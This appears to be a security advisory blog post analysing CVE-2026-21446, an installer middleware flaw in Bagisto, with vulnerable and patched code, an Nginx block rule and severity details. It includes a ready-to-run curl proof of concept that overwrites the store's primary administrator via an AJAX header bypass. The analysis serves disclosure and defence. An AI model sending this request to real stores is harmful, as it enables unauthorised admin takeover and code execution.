Bagisto left the installer routes active after installation but tried to hide them with a redirect. The catch? The redirect only applied to standard browser requests. By adding a simple `X-Requested-With: XMLHttpRequest` header, attackers can bypass the check, access the installer API, and overwrite the primary administrator account.
A logic flaw in Bagisto's installer middleware allows unauthenticated attackers to re-run the installation process via AJAX requests, enabling complete administrative takeover.
Installers are the most dangerous code in any web application. They are designed to create databases, write configuration files, and mint the first omnipotent administrator account. Because of this power, the golden rule of secure development is: The installer must die after it runs. Most CMS platforms delete the install folder or place a lock file (like install.lock) on the disk.
Bagisto, a Laravel-based e-commerce platform, took a different approach. Instead of deleting the code, they relied on middleware to act as a bouncer. The middleware, aptly named CanInstall, was supposed to check if the shop was already set up and kick you out if you tried to sneak back into the setup wizard.
But here's the problem with software bouncers: they strictly follow rules, and if the rules have a loophole, the bouncer will hold the door open for you while you rob the place. CVE-2026-21446 is that loophole—a trivial logic error that turns a locked-down store into a free-for-all.
The vulnerability resides in packages/Webkul/Installer/src/Http/Middleware/CanInstall.php. This code runs before any request hits the installer routes. Its job is simple: If the app is installed, redirect the user to the homepage.
However, the developers added a condition that proved fatal. They likely wanted to prevent the redirect from messing up frontend JavaScript calls during the legitimate installation process. So, they explicitly checked if the request was not AJAX before redirecting.
[!WARNING] The Logical Fallacy The code effectively said: "If the app is installed AND the user is browsing normally, stop them. Otherwise, let them through."
If you send a request that claims to be AJAX (by setting the standard X-Requested-With: XMLHttpRequest header), the middleware looks at the logic ! $request->ajax(), evaluates it to false, and skips the redirect block entirely. The request then proceeds straight to the controller, regardless of whether the application is already installed.
Let's look at the diff. This is a classic case of "negative security logic"—defining what should be blocked instead of what should be allowed.
Vulnerable Code (Simplified):
public function handle(Request $request, Closure $next)
{
// If we are hitting installer routes...
if (Str::contains($request->getPathInfo(), '/install')) {
// ...and we are already installed...
// ...BUT it is NOT an AJAX request...
if ($this->isAlreadyInstalled() && ! $request->ajax()) {
// ...then redirect.
return redirect()->route('shop.home.index');
}
}
// Otherwise, come on in!
return $next($request);
}The Fix (Commit 380c045e48490da740cd505fb192cc45e1809bed): In the patch, the logic is inverted. If the app is installed, it denies access immediately. It handles the user experience gracefully (JSON for AJAX, Redirect for Browser), but the deny decision is absolute.
if ($this->isAlreadyInstalled()) {
// If it's AJAX, give them a 403 Forbidden
if ($request->ajax()) {
return response()->json([
'message' => 'Already Installed'
], 403);
}
// If it's a browser, redirect them
return redirect()->route('shop.home.index');
}Furthermore, the InstallerController was using updateOrInsert with a hardcoded id => 1. This meant valid requests would overwrite the existing admin rather than failing. The patch changed this to a strict insert, ensuring that even if the middleware failed, the database constraints would block a duplicate admin creation.
Exploiting this is trivially easy. We don't need fancy memory corruption tools; we just need curl.
The target is the /install/api/admin-config-setup endpoint. In the vulnerable version, this endpoint accepts admin credentials and commits them to the database using updateOrInsert(['id' => 1], ...).
The Attack Chain:
X-Requested-With: XMLHttpRequest.PoC:
curl -X POST https://vulnerable-store.com/install/api/admin-config-setup \
-H "X-Requested-With: XMLHttpRequest" \
-H "Content-Type: application/json" \
-d '{
"admin": "hacked_admin",
"email": "attacker@evil.com",
"password": "Pwned123!",
"password_confirmation": "Pwned123!"
}'Because the middleware sees the header, it allows the request. Because the controller forces id => 1, the database updates the existing primary administrator's row with the attacker's email and password. The attacker can now log in to the backend, upload a malicious theme or plugin, and achieve Remote Code Execution (RCE).
This is a Critical (9.8) severity issue because it breaks the fundamental trust model of the application. Authentication is bypassed not by cracking a password, but by asking the application nicely to reset it.
Once an attacker has administrative access to an e-commerce platform like Bagisto, the impact is total:
It is effectively a "Game Over" scenario accessible to anyone who can send a single HTTP request.
The remediation is straightforward: Update to Bagisto 2.3.10 immediately.
If you cannot update right now, you must block the installer routes at the web server level. The application code failed to protect these routes, so the infrastructure must step in.
Nginx Mitigation:
location ~ ^/install {
deny all;
return 404;
}This rule ensures that no matter what headers are sent, the web server drops the connection before it ever reaches PHP. This is a good practice for any application with an installer directory—don't rely on the app to protect itself from its own setup wizard.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H| Product | Affected Versions | Fixed Version |
|---|---|---|
Bagisto Webkul | >= 2.3.0, < 2.3.10 | 2.3.10 |
| Attribute | Detail |
|---|---|
| CWE ID | CWE-306 |
| CVSS Score | 9.8 (Critical) |
| Attack Vector | Network (Remote) |
| Authentication | None |
| Impact | Account Takeover / RCE |
| Exploit Status | PoC Available |
The software does not perform any authentication for functionality that requires a provable user identity or consumes a significant amount of resources.
Get the latest CVE analysis reports delivered to your inbox.